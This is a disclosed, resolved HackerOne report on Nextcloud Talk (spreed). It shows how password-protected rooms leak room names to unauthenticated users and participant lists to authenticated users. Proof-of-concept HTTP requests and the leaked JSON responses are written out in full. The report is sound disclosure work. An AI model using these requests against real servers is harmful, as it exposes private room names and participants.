Talk / spreed: Disclosure of Room names and participants for password protected rooms

Disclosed: 2019-04-17 14:22:58 By foobar7 To nextcloud
Medium
Vulnerability Details
CVSS ---- 5.3 Medium [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) (CVSS isn't always as fine-grained as I'd like; personally, I would rate the issue somewhere between low and medium) Description ----------- The API of the official [spreed/talk](https://github.com/nextcloud/spreed) extension reveals potentially sensitive information such as room names or participants of password-protected rooms to users without the password. An account is not required to access room names. POC: Shared, password protected room leaks room name to unauthenticated attackers --------- Prerequisite: Create a room, click on "Share link", and enable password protection. As unauthenticated user, visit the login page to get cookies and a CSRF token. The unauthenticated user cannot access `nextcloud/nextcloud/ocs/v2.php/apps/spreed/api/v1/room` or `nextcloud/nextcloud/ocs/v2.php/apps/spreed/api/v1/room/iu86mvxv/participant` ("Current user is not logged in"). However, they can access specific rooms based on the room id: GET /nextcloud/nextcloud/ocs/v2.php/apps/spreed/api/v1/room/bk9we2vg HTTP/1.1 Host: 192.168.0.103 [...] requesttoken: [...] [...] Cookie: [...] Connection: close HTTP/1.1 200 OK {"ocs":{"meta":{"status":"ok","statuscode":200,"message":"OK"},"data":{"id":13,"token":"bk9we2vg","type":3,"name":"supersecret","displayName":"supersecret","objectType":"","objectId":"","participantType":4,"participantInCall":0,"participantFlags":0,"count":1,"hasPassword":true,"hasCall":false,"lastActivity":1540389616,"unreadMessages":0,"unreadMention":false,"isFavorite":false,"lastPing":0,"sessionId":"0","participants":[],"numGuests":0,"guestList":"","lastMessage":[]}}} Despite being password protected, the room leaked the room name - which might contain sensitive information - to unauthenticated attackers. POC: Shared, password protected room leaks participans to authenticated attackers -------------------- Prerequisite: Create a room, click on "Share link", and enable password protection. As an authenticated user, issue the following request: GET /nextcloud/nextcloud/ocs/v2.php/apps/spreed/api/v1/room/bk9we2vg/participants HTTP/1.1 Host: 192.168.0.103 [...] requesttoken: [...] [...] Cookie: [...] Connection: close HTTP/1.1 200 OK {"ocs":{"meta":{"status":"ok","statuscode":200,"message":"OK"},"data":[{"inCall":0,"lastPing":1540389861,"sessionId":"hnHuuwybsX6r65fbWFpwqvjZ+R15kumbONTr+ynIO5yu6TpDdPzDXov6+l3H2PkKX7X9FIC4BqAHBoZ\/Ath\/Fqjg9ljuj7smGUyf\/1Z8B\/yw9kotgZd4rM00OOaB2s+8Lph5zizgp7PoHiCvKTw2azAFIWBhLSe9fXQ9sdxzSMYSLAoYCaObU394OQO3ITJVjDQZQ1VOUSx+7dDPI1ycIZVTR\/tOSXg7tfHCigOvetJkRxURCD3V80rdRR2n9IK","participantType":1,"userId":"admin","displayName":"admin"}]}} Despite being password protected, the room leaked the participant list to an authenticated attacker. From what I can tell, `sessionId` should not leak either, but isn't useful for an attacker. Solution -------- The information should only be displayed to users that have authenticated themselves with the correct password for the room. ## Impact Disclosure of Room names and participants for password protected rooms to unauthenticated or authenticated users without password.
Actions
View on HackerOne
Report Stats
  • Report ID: 428010
  • State: Closed
  • Substate: resolved
  • Upvotes: 13
Share this report